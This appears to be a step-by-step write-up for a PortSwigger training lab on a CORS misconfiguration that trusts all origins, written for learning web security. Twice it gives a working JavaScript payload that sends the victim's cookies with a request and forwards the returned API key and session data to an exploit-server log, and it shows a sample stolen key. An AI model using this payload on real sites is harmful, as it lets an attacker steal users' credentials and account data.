PortSwigger

Lab Description

This website has an insecure CORS configuration in that it trusts all origins.

Objective: Craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

Credentials: wiener:peter



Step 1: Understanding CORS

CORS (Cross-Origin Resource Sharing) is a mechanism that allows restricted resources on a web page to be requested from another domain outside the domain from which the first resource was served.

The vulnerability: The server reflects any Origin header value in the Access-Control-Allow-Origin response header and also sets Access-Control-Allow-Credentials: true.

Attack scenario:

  1. Victim visits attacker-controlled page
  2. Page makes a cross-origin request to vulnerable site using victim’s cookies
  3. Server reflects Origin header → allows cross-origin access
  4. Attacker steals sensitive data from response

Step 2: Reconnaissance

Step 2.1: Log in to Your Account

  1. Log in with credentials: wiener:peter

  2. Go to My account page

Step 2.2: Identify the Sensitive Endpoint

Observe that your API key is retrieved via an AJAX request:

GET /accountDetails

Response headers:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: (reflected origin if present)

  • This indicates the endpoint supports CORS with credentials.

Step 3: Testing CORS Configuration

Step 3.1: Test Origin Reflection

  1. Send the /accountDetails request to Burp Repeater
  2. Add the Origin header:
Origin: https://example.com

  1. Send the request

Observed response:

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

  • The server reflects any origin and allows credentials!
  • This is the vulnerability — any website can read the response.

Step 4: Crafting the Exploit

Step 4.1: JavaScript Payload

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location = '/log?key=' + this.responseText;
    };
</script>

How it works:

LinePurpose
new XMLHttpRequest()Create AJAX request object
req.onload = reqListenerCall function when request completes
req.open('get', '...', true)GET request to vulnerable endpoint (async)
req.withCredentials = trueSend victim’s cookies!
req.send()Execute request
location = '/log?key=' + this.responseTextRedirect to exploit server log with stolen data

Step 4.2: Complete Exploit Page

Go to Exploit server → Body section:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location = '/log?key=' + this.responseText;
    };
</script>
  • Replace YOUR-LAB-ID with your actual lab ID.

Step 5: Testing the Exploit

  1. Click View exploit
  2. You’ll be redirected to a URL like:
/log?key={"username":"wiener","apiKey":"YOUR_API_KEY"}

https://exploit-0aef0049039c3b2680080c01011300f5.exploit-server.net/log?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22RJpExdNxSEkLlD4ZWs3TgZhR0kA7olF9%22,%20%20%22sessions%22:%20[%20%20%20%20%22LXopEPzdeXE8dPpJOebOueHr0ZrGmjBj%22%20%20]}

Exploit works — your own API key was stolen.


Step 6: Delivering to the Victim

  1. Click Deliver exploit to victim

  2. The victim’s browser executes the exploit

  3. The administrator’s API key is sent to your exploit server log


Step 7: Retrieving the Administrator’s API Key

  1. Click Access log on the exploit server

  2. Find a request like:

  3. Copy the administrator’s API key


Step 8: Submitting the API Key

  1. Go back to the lab page

  2. Click Submit solution

  3. Paste the administrator’s API key

  4. Click Submit


Step 9: Lab Solved

Success message displayed: